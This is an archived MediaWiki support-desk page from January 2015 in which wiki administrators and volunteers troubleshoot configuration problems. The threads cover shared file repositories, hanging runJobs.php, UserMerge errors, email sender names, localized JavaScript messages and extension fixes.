That message appears when you add the ?action=purge to the URL and you're not logged in. It may be a problem with that extension or other. Ciencia Al Poder (talk) 10:50, 9 January 2015 (UTC)

Special page slows down, this gets spammed into the web server log

23.239.27.244 - - [08/Jan/2015:12:51:20 -0500] "GET /w/api.php?titles=File%3AExample.jpg&iiprop=timestamp%       7Cuser%7Ccomment%7Curl%7Csize%7Csha1%7Cmetadata%7Cmime%7Cmediatype%7Cextmetadata&prop=imageinfo&iimetadataversion=2&iiextmetadatamultilang=1&format=json&action=query&redirects=true&uselang=en HTTP/1.0" 200 450 "-" "MediaWiki/1.23.6 ForeignAPIRepo/2.1"

The file is from the WMF Commons which is no longer enabled. The IP address is the IP address of the website. The file is no longer on the wiki, but that gets spammed when accessing a special page, and the site slows down.

https://redsec.ru/wiki/Main_Page

Generates warnings on Android, others should have the CA. Lieutenant Aleksandr Reznov 18:04, 8 January 2015 (UTC)

I've accessed several special pages of your wiki, inspecting every request made by my browser (mozilla firefox) and there wasn't any request pointing to the api.
The user agent MediaWiki/1.23.6 ForeignAPIRepo/2.1 seems to be an attempt from another wiki (or your own wiki if you configured it wrong) to get that image from your wiki, not from commons, like if that wiki is configured to fetch images from your wiki. If 23.239.27.244 corresponds to your own wiki, then probably you configured it wrong, if you set the foreign repo URL to be your own wiki. Ciencia Al Poder (talk) 10:47, 9 January 2015 (UTC)
The wiki is running SimpleFarm. File uploads are enabled on a single wiki and shared with FileRepos. Technically the Community Wiki is has a ForeignRepo to itself, which maybe is creating some sort of loop?
The extension serves different wikis based on the domain name. Lieutenant Aleksandr Reznov 17:32, 9 January 2015 (UTC)
You should be able to specify a different configuration for repositories for that wiki.
If the database server is the same, you may use shared tables for file repositories. See Ciencia Al Poder (talk) 14:34, 10 January 2015 (UTC)
Thank you.
This works but there is no display of images that are smaller than the original.
https://redsec.ru/wiki/User:Lieutenant_S. Lieutenant Aleksandr Reznov 17:42, 10 January 2015 (UTC)
You may need to turn $wgGenerateThumbnailOnParse off and use thumb.php as a 404 handler Ciencia Al Poder (talk) 18:54, 11 January 2015 (UTC)
$wgGenerateThumbnailOnParse = false;
$wgThumbnailScriptPath = "{$wgScriptPath}/thumb.php";
$wgForeignFileRepos[] = array(
     'class' => 'ForeignDBRepo',
     'name' => 'sharedFileWiki',
     'url' => "http://meta.redsec.ru/w/images/images_mwf_meta",
     'directory' => '/jsnldfkjvndlkvn/w/images/images_mwf_meta',
     'hashLevels' => 2, // This must be the same for the other family member
     'dbType' => $wgDBtype,
     'dbServer' => $wgDBserver,
     'dbUser' => $wgDBuser,
     'dbPassword' => $wgDBpassword,
     'dbFlags' => DBO_DEFAULT,
     'dbName' => 'mwf_meta',
     'tablePrefix' => 'mw_',
     'hasSharedCache' => false,
     'descBaseUrl' => 'http://meta.redsec.ru/wiki/File:',
     'thumbScriptUrl' => $wgSharedThumbnailScriptPath,
     'transformVia404' => !$wgGenerateThumbnailOnParse,
     'fetchDescription' => false
 );
I have this and reduced size images still don't show up. Lieutenant Aleksandr Reznov 21:51, 11 January 2015 (UTC)
Well, "images don't show up" isn't verbose enough. There are many possibilities, like displaying an error message, resulting in a HTTP 404 error page or 500 error.
thumb.php is used to generate thumbnails from the 404 error handler. That manual page contains an invocation example. Try to use it where the image fails to "show up" and tell us if you got any error message. An example of page not displaying the thumbnail would be also welcome. Ciencia Al Poder (talk) 22:02, 12 January 2015 (UTC)
Here's the page I'm using.
http works fine. Console says it has to be over https for those images.
I changed the domain from meta.redsec.ru, where the images are uploaded, to redsec.ru so it can use the SSL cert without warnings. Lieutenant Aleksandr Reznov 16:24, 13 January 2015 (UTC)
I wasn't able to investigate the issue before. That user page is displaying the images for me now. Is the issue now resolved?
I see, however, that the URL of the file is different on that wiki than the URL in the shared repository.
Also, at the end of display "The following file is a duplicate of this file (...)", displaying exactly the same image.
Looking at Manual:$wgForeignFileRepos, apparently it's populated dynamically based on the value of other config variables (see the section Default value (code in Setup.php)). Maybe, to make it work with the SimpleFarm extension, you can try to set those variables instead of defining the $wgForeignFileRepos array. That way, the meta wiki should have $wgUseSharedUploads to false, while the other wikis should have it set to true. Ciencia Al Poder (talk) 22:22, 15 January 2015 (UTC)

[RESOLVED] RunJobs.php hangs on execution

The following discussion is closed. Please do not modify it. Subsequent comments should be made on the appropriate discussion page. No further edits should be made to this discussion.


RunJobs.php produces no output and does not complete execution when run from the command line.

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>cd c:\inetpub\wwwroot\dev24\maintenance

c:\inetpub\wwwroot\dev24\maintenance>php runjobs.php
^C
c:\inetpub\wwwroot\dev24\maintenance>

As you can see, I have to abort execution every time (unless the job queue is 0).

Note: It appears as though another user is having the same issue and documented it on the RunJobs discussion page.


  1. System Configuration:
    • MediaWiki: 1.24.1 (a8eda20) (same issue experienced on 1.23.8)
    • PHP: 5.4.20 (cgi-fcgi)
    • MySQL: 5.6.14
    • Webserver: IIS 7.5, Windows Authentication (Anonymous Authentication disabled)
  2. Wiki is a private corporate wiki - the URL is not web accessible


Log Contents: <pre style="white-space: pre-wrap; white-space: -moz-pre-wrap; white-space: -pre-wrap; white-space: -o-pre-wrap; word-wrap: break-word;"> 0.0312 1.5M Start command line script runjobs.php 0.0468 1.8M [caches] main: WinCacheBagOStuff, message: WinCacheBagOStuff, parser: WinCacheBagOStuff 0.0624 3.0M [caches] LocalisationCache: using store LCStoreCDB 0.0780 4.0M Fully initialised 0.1092 5.0M Connected to database 0 at 127.0.0.1 0.1092 5.0M Query mwdev (1) (slave): SELECT /* JobQueueDB::doGetSiblingQueuesWithJobs */ DISTINCT job_cmd FROM `job` WHERE job_cmd IN ('refreshLinks','refreshLinks2','htmlCacheUpdate','sendMail','enotifNotify','fixDoubleRedirect','uploadFromUrl','AssembleUploadChunks','PublishStashedFile','null') 0.1092 5.0M LoadBalancer::reuseConnection: this connection was not opened as a foreign connection 0.1092 5.0M Query mwdev (2) (slave): SELECT /* JobQueueDB::claimRandom */ job_id,job_cmd,job_namespace,job_title,job_timestamp,job_params,job_random,job_attempts,job_token,job_token_timestamp,job_sha1 FROM `job` WHERE job_cmd = 'refreshLinks' AND job_token = LIMIT 88,1 0.1092 5.0M Query mwdev (3) (slave): SELECT /* JobQueueDB::claimRandom */ job_id,job_cmd,job_namespace,job_title,job_timestamp,job_params,job_random,job_attempts,job_token,job_token_timestamp,job_sha1 FROM `job` WHERE job_cmd = 'refreshLinks' AND job_token = AND (job_random >= '18174153') ORDER BY job_random ASC LIMIT 1 0.1092 5.0M DatabaseBase::query: Writes done: UPDATE `job` SET job_token = 'X' 0.1092 5.0M Query mwdev (4) (slave): UPDATE /* JobQueueDB::claimRandom */ `job` SET job_token = '2d61852a9a7731265203632d5f49e0f1',job_token_timestamp = '20150108174628',job_attempts = job_attempts+1 WHERE job_cmd = 'refreshLinks' AND job_id = '235' AND job_token = 0.1716 5.0M LoadBalancer::reuseConnection: this connection was not opened as a foreign connection

Any assistance is appreciated! Nha4601 (talk) 18:05, 8 January 2015 (UTC)

  • Try running the script from your main mediawiki directory (the one with LocalSettings.php inside), e.g.
php maintenance\runjobs.php
  • Additionally, try using a separate LocalSettings.php without caching enabled (CACHE_NONE).
HTH and best regards,
Thomas 79.202.101.174 07:37, 21 January 2015 (UTC)
Thanks Thomas - Problem solved!
  • running script from main mediawiki directory: No effect
  • disabling caching: SOLVED - runjobs.php executes to completion Nha4601 (talk) 12:16, 21 January 2015 (UTC)
The discussion above is closed. Please do not modify it. No further edits should be made to this discussion.

Preview page always displays limit report in version 1.24.1

In the version 1.24.1 of MediaWiki i found no way to disable the limit report on the preview page, even if $wgEnableParserLimitReporting is set to false. If i remove line:

 $parserOptions->enableLimitReport();

in file includes/EditPage.php the limit report is only displayed, if $wgEnableParserLimitReporting is true. Is this a bug, or am i missing something?

Thank you very much in advance. 217.94.135.173 (talk) 10:07, 9 January 2015 (UTC)

Benutzerkonten zusammenführen und löschen

Als ich UserMerge installierte und PHP-Befehle eingab (siehe unten), konnte ich leider nur einen Benutzerkonto auf Anonymous zusammenführen und den anderen löschen. Jetzt kann ich leider andere Spamaccounts nicht auf Anonymous verschieben und auch nicht die anderen löschen. Bei jeder Nutzung erscheint "Datenbankfehler". Egal was ich tue, es erscheint nur "Datenbankfehler", wenn ich die Felder ausfülle, die Option "Alten Benutzernamen löschen" auswähle und dann auf "Benutzerkonten zusammenführen" navigiere.

##Für UserMerge
# Beachte die Befehle!
$wgGroupPermissions['bureaucrat']['usermerge'] = true;
$wgUserMergeProtectedGroups = array();

[...]

##Hier werden alle Erweiterungen aufgelistet. Diese Befehle aktivieren die Erweiterungen
[...]
require_once "$IP/extensions/UserMerge/UserMerge.php";

[...] = Etwas was, zwischen den Befehlen ist und in Wirklichkeit unwichtig ist.

Bitte um Hilfe! Auch die Datei, mw-config/index.php, konnte das Problem nicht beheben. 2003:57:E31F:9301:ED41:DA45:3484:684A (talk) 12:47, 9 January 2015 (UTC)

Es sollten immer zuerst die Erweiterungen eingebunden werden und DANACH relevante Einstellungen für diese Erweiterungen gesetzt werden.
Dies hat damit zu tun, dass beim Einbinden meist Standardeinstellungen gesetzt werden, die ansonsten deine Einstellungen überschreiben.
Sind zufällig die anderen Spam-Accounts gesperrt? Wenn ja, dann hört es sich nach https://phabricator.wikimedia.org/T41470 an (Can't merge blocked users: Duplicate entry for key 'ipb_address'). Dies ist jedoch derzeit nur in der aktuellsten Version (genannt "master") behoben. Ich kann dir leider nicht sagen, ob diese Version mit deiner MediaWiki-Version kompatible ist, auch weil du sie nicht angeben hast. Du kannst es aber mal ausprobieren. se4598 (talk) 13:05, 9 January 2015 (UTC)
Hupps, die Versionzahl habe ich vergessen:
MediaWiki 1.23.4
PHP: 5.4.35-0+deb7u2 (cgi-fcgi)
MySQL: 5.5.40-0+wheezy1
Die Spamaccounts mussten gesperrt werden, eine andere Wahl hatte ich nicht gehabt. Gut, danke für den Hinweis :) Jetzt weiß ich wofür die master-Version gedacht ist. Soll ich die master Version durch die 1.23 Version ersetzen oder liegt es nur daran, dass ich auf falsche Art und Weise diese Erweiterung installierte? 2003:57:E31F:9301:ED41:DA45:3484:684A 13:22, 9 January 2015 (UTC)
Soweit ich das überblicke, solltest du die aktuelle master-Version von UserMerge einsetzen können, in der das Problem behoben ist.
Die Version bekommst du z.B. hier.
Die sollte mit deinem MediaWiki 1.23 funktionieren (natürlich vorher zur Sicherheit Backups erstellen).
Und in der Wiki-Einstellungsdatei bitte wie oben angesprochen, erst die Erweiterung mit require_once einbinden, dann danach deine Erweierungs-spezifischen Einstellungen vornehmen. se4598 (talk) 13:30, 10 January 2015 (UTC)

[RESOLVED] How to set a page with no access using private mediawiki

Hi, I would like to know if there is a method that allows to an external person, the reading a specific page of my website without make the login.

Many thanks, Francesco 93.43.1.51 (talk) 13:32, 9 January 2015 (UTC)

How do you imagine could that specific external person be verified, without making a login? Or do you talk about making one specific page entirely public while keeping the rest behind login? Malyacko (talk) 14:24, 9 January 2015 (UTC)
Yes, only a public page that can be visited by everyone 93.43.1.51 15:13, 9 January 2015 (UTC)
See Manual:$wgWhitelistRead Florianschmidtwelzow (talk) 21:43, 9 January 2015 (UTC)
Many thanks! 93.40.21.167 08:59, 12 January 2015 (UTC)

Need help with selecting extensions

Hey everyone I'm setting up a local mediawiki side and I need some recommendation about extensions, I'm hoping there is a clever soul out there that could assist me :). This wiki side will be focused on troubleshooting and will have a lot articles with pictures in it. What features I would like to see are:

  • Being able to adjust the sidebar to the left.
  • Have a CategoryTree so it is easy to navigate between articles.
  • Be able to select different tabs on each selected topic after selecting them from the sidebar, the tabs would be on the top similar to a browser.
  • Better search engine
  • Better way to add pictures into wiki, preferably drag and drop.
  • Simpler way to create a new wiki link with pictures and some basic modifications (such as making a header and make a text bold). This is to allow more people to add in articles without much complications.

I have looked around and found few possible contenders to select from but I would like to see what you guys could recommend. If there are other extensions that you also recommend I would love to hear about them. Any assistance is greatly appreciated 213.213.158.80 (talk) 13:40, 9 January 2015 (UTC)

Manual:Interface/Sidebar and Extension:CategoryTree for the first two items if you check the manual and use the search on this site; terms like "better" and "simpler" are way too subjective to answer without a description of problems that you actually try to solve. Malyacko (talk) 14:27, 9 January 2015 (UTC)
I apologize for the sidebar question and the lack of information, I understand it can be frustrating to get these kind of questions but my current situation prevents me from spending to much time into this. I still want to make it as good as possible for the people that will be using it with the limited time i have. I'm thankful for your answer.
  • For the tabbed extensions I will try out the first link that came up in google(http://www.mediawiki.org/wiki/Extension:Header_Tabs) and will if that will work.
  • What I'm hoping for in the search engine is that it would be able to find incomplete or similar words so even if you type in something that is just 1 letter away or if you type in a word with . in it (like writing john instead of john.wiki.com) I would like the search engine to find it. This might be bit far fetched but it would the users life much easier.
  • When I mentioned making it easier to put stuff into wiki I just want the most user friendly interface known to set up articles(for people that don't remember all the wiki commands, like for headers)
  • Lastly the pictures, since the users have to upload tons of pictures with the articles they write I'm hoping for a easier way to upload alot of pictures at the same time or being able to do it while writing the article.
I would be really thankful if you could be of more assistance. If there are any other plugin known that are just generally really good for mediawiki I would love to hear about them as well. 213.213.158.80 15:54, 9 January 2015 (UTC)
As far as the files there's Extension:MsUpload, which has a "drag & drop" function. Mlpearc (open channel) 08:03, 10 January 2015 (UTC)

We are in the process of migrating from MW version 1.15.4 to MW 1.24.1 on a CentOS 5.11 system. We are using PHP 5.4.36 and MySQL 5.0.95. The link to our site is developer.safetyanalyst.org/aashto/index.php/AASHTOWare_Safety_Analyst. Access to this site can be obtained by using 'guest' user name and no password. We have updated all extensions and we are using the MonoBook skin. The site works fine in MW 1.15.4.

In MW 1.24.1, most everything appears to be working fine except that the tab, button, and some link titles are not rendering properly. For example, the view source tab title appears as '&lt:viewsource&gt:' rather than "view source" (the colons are actually semicolons, but I did not want them translated). Also the "page" tab does not display a title. What have we missed? Djtomich (talk) 16:13, 9 January 2015 (UTC)

Hi!
I see the text "view source" on the according button. When I hover the mouse over the page tab, I see the text "View the content page [c]". So, I believe you missed nothing. You most likely only have to clear your caches (in the browser, maybe in a proxy, if you use one and where else you have caches)! 88.130.125.54 00:49, 10 January 2015 (UTC)
Thank you for your reply. I discovered that the problem was with the way the Mediawiki was "installed" on our server. It was not installed as a subdirectory of the wiki site, but in another location on the server. Therefore, symbolic links were needed in the wiki directory to point to some of the subdirectories of the Mediawiki installation, particularly the 'includes', 'languages', 'resources', and 'skins'. The cause of my problem with the display issues was that I failed to create a symbolic link for the 'languages' directory. Once all of the necessary links were made, the problem went away and our wiki site is functioning properly. Djtomich (talk) 15:17, 10 February 2015 (UTC)
Great! Thanks for the update! 88.130.106.225 16:30, 10 February 2015 (UTC)

Using messages in JavaScript

My localization attempt results in <markaspatrolleddiff> being shown instead of a localized message. What am I doing wrong? Maybe Nemo bis or Nikerabbit could help... Petr Matas (talk) 16:06, 10 January 2015 (UTC)

Very interesting question! I myself tried using messages in JavaScript some time ago and I did not get it to work. I'm excited to see how it's actually done... 88.130.125.54 18:09, 10 January 2015 (UTC)
That shouldn't work. To use a message in JavaScript, you need to make sure, that it is added to the client, which normally can be done by your ResourceLoader-module (click for more information). Because you don't have a RL module, i'm not sure, if it is possible in any way to use localised messages in user scripts (iirc that is one main disadvantage of the Gadgets extension, too). Maybe Nemo_bis or Nikerabbit knows a way :/ Florianschmidtwelzow (talk) 21:25, 10 January 2015 (UTC)
You need to download the message first. Here's an example:
new mw.Api().get( {
	action: 'query',
	meta: 'allmessages',
	amlang: mw.config.get( 'wgUserLanguage' ),
	ammessages: 'markaspatrolleddiff'
} ).done( function( data ) {
	var message = data.query.allmessages[0];
	if ( message.missing === '' ) {
		return;
	}
	mw.messages.set( message.name, message['*'] );
	
	console.log( mw.msg( 'markaspatrolleddiff' ) );
} );
144.131.184.246 04:02, 11 January 2015 (UTC)
Awesome! By the way, shouldn't there be var message = data[0].query.allmessages[0]; in your example? Petr Matas (talk) 06:30, 11 January 2015 (UTC)
No, there most certainly shouldn't. "data" is an object, not an array.
{
    "warnings":{
        "query":{
            "*":"Formatting of continuation data will be changing soon[...]"
        }
    },
    "query":{
        "allmessages":[
            {
                "name":"markaspatrolleddiff",
                "*":"Mark as patrolled"
            }
        ]
    }
}
60.230.39.201 09:27, 11 January 2015 (UTC)
(New post since apparently editing doesn't actually work.) I see what the problem is. You're using $.when, which when passed multiple values puts them in an array. The API returns two objects.
I also note that you're including mediawiki.jqueryMsg, which is rather overkill for the basic message you're using. You only use it if you need more advanced parsing (int, plural, gender, links, etc.). This means you don't need to use $.when, so you wouldn't need the [0]. 60.230.39.201 09:48, 11 January 2015 (UTC)
Thank you very much! Here is my final reusable implementation. Petr Matas (talk) 10:09, 12 January 2015 (UTC)

My site is messed up somehow

Hi Wiki Geniuses.

A site I'm responsible for is messed up. Could someone look at the main page at vanslyck.us and tell me where to go?

Thanks. RiverStyx23 (talk) 15:55, 11 January 2015 (UTC)

Hi!
You are using MediaWiki 1.19.3 and the site displays this error:
Warning: preg_match(): Compilation failed: group name must start with a non-digit at offset 8 in includes/MagicWord.php on line 872.
This sounds like a duplicate of this problem: Project:Support desk/Flow/2014/07#h-[RESOLVED]_Warning:_preg_replace():_Compilation_failed:_group_name_must_start_wi-2014-07-24T05:10:00.000Z
Result there was: This error happens because the server where your MediaWiki is running upgraded the PCRE package to a newer version, introducing this breaking change. Please, upgrade MediaWiki to solve the issue (latest releases of MediaWiki 1.19 and newer versions have fixed this issue).
See Upgrade for our upgrade guide! 88.130.95.50 16:07, 11 January 2015 (UTC)

Ich habe eine Frage. Es ist ja möglich (existierende) Seiten als interne Links zu wiedergeben. Doch wie ist es bei der Versionsgeschichte und die Versionsunterschiede? Wenn man die Versionsgeschichte aufrufen möchte, so kann man ja in der URL ?action=history eingeben. Wenn man den kompletten Link kopiert und irgendwo einfügt, dann ist der Link extern, doch wie kann man solche Seiten als interne Links wiedergeben? 2003:57:E31F:9301:FD8B:1D03:C352:DF54 (talk) 17:36, 11 January 2015 (UTC)

Can't Get Mediawiki:Emailsender v1.23.6 to work.

Hi all.

I have an MediaWiki v1.23.6 installation up and running. I have PEAR Mail installed and mails are sent properly. However, I can't get it working with an alternative displayname. Any changes to MediaWiki:Emailsender doesn't apply. It's only the $wgPasswordSender setting in LocalSettings.php that works with just the e-mail adresser.

$wgPasswordSender = "mymail@mydomain.com"; <= Works fine
$wgPasswordSender = "My Name <mymail@mydomain.com>"; <= Results in no mail sent.

Any ideas, anyone?

Regards Pompelpilt (talk) 23:43, 11 January 2015 (UTC)

Only the address belongs in $wgPasswordSender. To change the name, edit the page "MediaWiki:Emailsender" on your wiki. Jackmcbarn (talk) 21:26, 13 January 2015 (UTC)
Okay.
Tested that. Now I have...
$wgPasswordSender = "mymail@mydomain.com";
... in LocalSettings.php and changed the page MediaWiki:Emailsender from
{{SITENAME}}
... to ...
My Displayname
Still, it does not change the displayname in the mail end users receive. Did I understand you correctly, Jackmcbarn?
Regards. Pompelpilt (talk) 22:03, 13 January 2015 (UTC)
$wgPasswordSenderName still exists. Even though it's marked as deprecated, you should try it, since its replacement isn't working for you. Jackmcbarn (talk) 19:07, 14 January 2015 (UTC)
I have tried that to. I didn't make a defference either.
Does some of theese parameters rely on one another? I mean, if some parameter is set in PHP.INI og LocalSettings.php, does the MediaWiki:EmailSender get overridden? The only parameter I obviously can change are the $wgPasswordSender. Pompelpilt (talk) 08:53, 16 January 2015 (UTC)
How is your server set up to send email? It's possible that the mail server is overriding the "From" field. Jackmcbarn (talk) 23:39, 16 January 2015 (UTC)
This is what I got in LacalSettings.php, in correct order. I see now that I have set parameter twice, but the latter seem to be the one with an effect.
$wgEnableEmail = true;
$wgEnableUserEmail = true; # UPO
$wgEmergencyContact = "apache@dlmap08";
$wgPasswordSender = 'My.Name@domain.lan';
$wgEnotifUserTalk = false; # UPO
$wgEnotifWatchlist = false; # UPO
$wgEmailAuthentication = true;
< snap >
$wgSMTP = array(
'host' => "dlmexf01.dulram.lan", <- This is real
'IDHost' => "example.com",
'port' => 25,
'auth' => false,
'username' => "my_user_name",
'password' => "my_password"
);
< snap >
$wgEnableMail = true;
$wgEnableUserMail = true;
$wgEnotifUserTalk = true;
$wgEnotifWatchlist = true;
$wgEmailAuthentication = true;
$wgDefaultUserOptions['enotifwatchlistpages'] = true; Pompelpilt (talk) 12:44, 17 January 2015 (UTC)
What is the name that you see in the From field? Also, can you test manually sending a message with that SMTP configuration to see whether it's the SMTP server that's doing it? Jackmcbarn (talk) 19:44, 17 January 2015 (UTC)
That code from the previos post is actually what I'm using.
I don't think it's the SMTP server that's doing anything wrong.
I have made this PHP script for testing, and it works like a charm. It's shows the alternative displayname as intended.
<?php
require_once "Mail.php";
-
$from = "Web Master <webmaster@mydomain.lan>";
$to = "My.Name@mydomain.lan";
$subject = "Test from server";
$body = "Hi,\n\nHow are you?";
-
$host = "exchange.mydomain.lan";
$username = "dummy";
$password = "dummypwd";
-
$headers = array ('From' => $from,
'To' => $to,
'Subject' => $subject);
$smtp = Mail::factory('smtp',
array ('host' => $host,
'auth' => false,
'username' => $username,
'password' => $password));
-
$mail = $smtp->send($to, $headers, $body);
-
if (PEAR::isError($mail)) {
echo("<p>" . $mail->getMessage() . "</p>");
} else {
echo("<p>Message successfully sent!!</p>");
}
 ?> Pompelpilt (talk) 20:58, 17 January 2015 (UTC)
What name shows up in the From field with your current configuration? Jackmcbarn (talk) 21:40, 17 January 2015 (UTC)
The e-Mail address specified in $wgPasswordSender. Pompelpilt (talk) 09:27, 18 January 2015 (UTC)
I know that's the address that shows up. What display name shows up? Jackmcbarn (talk) 16:51, 18 January 2015 (UTC)
No display name shows up at all. Pompelpilt (talk) 18:20, 18 January 2015 (UTC)
When I set $wgPasswordSender = "My Name <my.name@mydomain.lan>" in LocalSettings.php, I get this message in php_errors.txt: "PHP Strict Standards: Non-static method PEAR::isError() should not be called statically, assuming $this from incompatible context in C:\.....\pear\Net\SMTP.php on line 489".
Does that give anybody a hint? Pompelpilt (talk) 13:35, 19 January 2015 (UTC)

Can not extract the installation .gz file "Unexpected end of file error"

Hi,

I downloaded the both the 1.24.1 and 1.23.6 version from this website a couple of times on different machines).

When I extracted the file from bash shell ( on Ubuntu 14) I got this error : aaa@aaa:~/Downloads/installer$ gunzip -v mediawiki-1.23.8.tar.gz mediawiki-1.23.8.tar.gz: gzip: mediawiki-1.23.8.tar.gz: unexpected end of file

I tried with 7z : aaa@aaa:~/Downloads/installer$ 7z e mediawiki-1.23.8.tar.gz

7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18 p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)

Processing archive: mediawiki-1.23.8.tar.gz

Extracting mediawiki-1.23.8.tar Data Error

Sub items Errors: 1



I also tried a Window machine and use WinRar to unzip the file and got the 'File is corrupted' error.

Can you suggest what could be wrong here ?


Many thanks 113.160.94.182 (talk) 07:06, 12 January 2015 (UTC)

Hello!
Can you retry it with a new copy of MediaWiki? I tried it, and it works without problems, so i think, that something went wrong while you downloaded the archive :/ Florianschmidtwelzow (talk) 07:48, 12 January 2015 (UTC)

Getting started as Admin (user rights)

Good morning,

Mediawiki version 1.24 PHP 5.4 mysql 5.6.22 Installation via Softaculous site www.footballgameswiki.com

I have just installed mediawiki (via Softaculous) and looking at my profile as sysop I didnt have "User Rights" linked to my Preferences page as I saw on some tutorials I was watching.

I have located the local settings .php (which has no group rights listed), the default settings .php (which has group rights) and the autoloader .php. I am unsure if, as per the warning about the autoloader being necessary, I have to move the autoloader page in order to 'activate' the user rights. And then I am unsure from the manual if I should be setting rights in the localSettings.php or in the defaultSettings.php.

I hope my newby questions aren't totally left field and misinformed. Any supplementary links that would help in addition to the manual would also be much appreciated. 93.45.177.125 (talk) 10:49, 12 January 2015 (UTC)

Addendum
So I understand now that I should not edit defaultSettings but instead overwrite via localSettings. However I am still not sure why I have no access to user right information from inside the wiki (logged in as sysop). 93.45.177.125 11:52, 12 January 2015 (UTC)
> I didnt have "User Rights" linked to my Preferences page
I don't know understand, what you expect to see there? Have you an example of a tutorial which you referring to? Florianschmidtwelzow (talk) 13:16, 12 January 2015 (UTC)
Generally the additional user rights do not show up as a section or so in the preferences, they instead do appear as e.g. additional tabs and buttons in the MediaWiki interface, e.g. as a "Protect" tab and a "Delete" tab next to "View" and "Page history".
What however should be displayed in the preferences is the group membership of the user account. Meaning it should not only say "User", but something like "User, Administrator, Bureaucrat". Is this what you do not see? 88.130.126.10 16:50, 12 January 2015 (UTC)
Hello and thank you, the video where I saw a different layout was on you tube called "MediaWiki Tutorial Groups Permissions". Although being 5 years old things must have moved on. What has confused me was the manual wording and the notes within the php documents. 93.41.103.32 21:15, 12 January 2015 (UTC)
(cont)
I have access to page security but in that rather old video there was a handy list of all permissions for all user right groups. So this then is not available anymore? 93.41.103.32 21:33, 12 January 2015 (UTC)
The according video shows MediaWiki 1.14 and the user shown there is in the admin and bureaucrat groups. The preferences page shows exactly that (second 39) and in this version MediaWiki obviously showed a link "User group rights". This page can be found as a page in your wiki at Special:ListGroupRights. Access to this page is not restricted to any special user group - even users, who are not logged in can view it.
Settings should always be made in LocalSettings.php, not in DefaultSettings.php. Note that these file names are case sensitive (so it is not defaultSettings.php). 88.130.126.10 21:41, 12 January 2015 (UTC)
Excellent. Thank you. This can be considered resolved! 93.41.103.32 22:35, 12 January 2015 (UTC)

Mediawiki in a cluster

Hi,

I seem to have troubles finding instructions or guidelines on how to convert a single server mediawiki instance into a clustered environment. Or at least high available of some sort, without having to be a real cluster.... What would be the best course of action ? Have one active mediawiki server that replicates the mysql changes to the second (inactive) server ? And in case of a calamity just start Apache on the second server so the wiki becomes available ?

Any help would be greatly appreciated. Links to pages describing this very problem (that I couldn't find) are welcome as well.

Thank you,

Hans 193.173.195.13 (talk) 09:07, 13 January 2015 (UTC)

https://www.mediawiki.org/wiki/Manual:$wgDBservers ? Malyacko (talk) 11:32, 14 January 2015 (UTC)

Mediawiki and SMTP server

I'm posting on behalf of another person.

"please someone help me to integrate SMTP server with mediawiki. I can not confirm my email, trying to use my email which is set on smtp server (windows). I am not familiar with developing programs but have read and applied most of the instruction that found in google like: using sendmail and PEAR for php, changing the php.ini and ... I need to use port 27 of my server

this is from sendmail.ini


smtp_server='192.168.......'  "the ip address of the smtp (exchange) server "
#mail.mydomain.com
;smtp port (normally 25)
smtp_port=27


this is from php.ini


[mail function]mail
; For Win32 only.
; http://php.net/smtp
SMTP ='http://192.168....' "the ip address of the smtp (exchange) server "
; http://php.net/smtp-port
smtp_port = 27

; For Win32 only.
; http://php.net/sendmail-from
sendmail_from = you@yourdomain

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").
; http://php.net/sendmail-path
sendmail_path = "C:\wamp\sendmail\sendmail.exe -t"


and this is from LocalSetting.php

#Email

$wgSMTP = array(
'host' => "http://192.168.....",  "the ip address of the smtp (exchange) server "
'IDHost' => "Name of the exchange server",
'port'=> 27,
'auth' => false,
);

any help would be really appreciated.


Regards, Poopak "

Facebook thread: https://www.facebook.com/groups/2205099323/permalink/10152990921324324/ Elitre (WMF) (talk) 10:12, 13 January 2015 (UTC)

Can someone please remove my post? It's a dupe of https://www.mediawiki.org/w/index.php?title=Project%3ASupport_desk&offset=20150110015341&limit=20#email_confirmation_for_mediawiki_52647 . Apologies I didn't notice this earlier. Elitre (WMF) (talk) 10:46, 13 January 2015 (UTC)

MediaWiki only Accessable through IP

Hello, in order to access the wiki we have setup we can only access it via the IP of the server, but not by the host name of the server. Any suggestions? 12.159.67.66 (talk) 17:08, 13 January 2015 (UTC)

I understand that you can access your wiki only using the IP address, but not with a domain name.
If this does not only occur with MediaWiki pages, but with any webpage in that server, then it sounds like an Apache configuration issue to me.
Possibly you also have $wgServer configured incorrectly in MediaWiki's LocalSettings.php file. 88.130.111.117 18:10, 13 January 2015 (UTC)

Any extensions or advice about implementing "OR" queries (semantic mediawiki)

I am planning how to structure my categories and properites for a Semantic MediWwiki. I have downloaded the latest Semantic Bundle (which includes Semantic Forms).

Looking at the Semantic Forms it appears that all queries use AND for the fields requested, is there any way to implement OR queries?

For example: a capital city beginning in 'B' in Africa OR Europe. 93.45.191.211 (talk) 21:34, 13 January 2015 (UTC)
Found a starting point
see smw..../wiki/Help:Selecting_pages (cant put in a link)
see the section Unions of query results: disjunctions 93.49.5.126 08:23, 14 January 2015 (UTC)

[RESOLVED] take the client back in the browser history

I'm looking at https://www.mediawiki.org/wiki/Extension:BrowserHistoryLink but my server still has PHP 5.2.28

Is there a way to get <historylink type="back" /> working for me? EFFemeer (talk) 22:12, 13 January 2015 (UTC)

What is the problem? The extension only needs PHP 5.2.3 and you have 5.2.28. That should not cause problems! 88.130.69.172 23:50, 13 January 2015 (UTC)
Thank you for your prompt reaction. I get the following error message:

Strict Standards: call_user_func_array() expects parameter 1 to be a valid callback, non-static method BrowserHistoryLink::render() should not be called statically in /www/htdocs/drebbel/wiki/includes/parser/Parser.php on line 4156 217.123.55.84 08:30, 14 January 2015 (UTC)
That's a problem in the extension itself. The method BrowserHistoryLink::render() ins't defined statically, but the Extension defines the Parser hook to be called statically. This should be fixed in the Extension, but i think that it isn't maintained anymore (you should ask on the talk page). Florianschmidtwelzow (talk) 08:54, 14 January 2015 (UTC)
I managed to find a solution as follows:

In BrowserHistoryLink.class.php I changed the render function into static and suppressed wfLoadExtensionMessages('BrowserHistoryLink')
public function render($input, $args, $parser) {

// Internationalization
wfLoadExtensionMessages('BrowserHistoryLink');

into
public static function render($input, $args, $parser) {

// Internationalization
// wfLoadExtensionMessages('BrowserHistoryLink');

And provided arguments to the function <historylink type="back" go="1" style=""></historylink>

EFFemeer (talk) 10:06, 14 January 2015 (UTC)
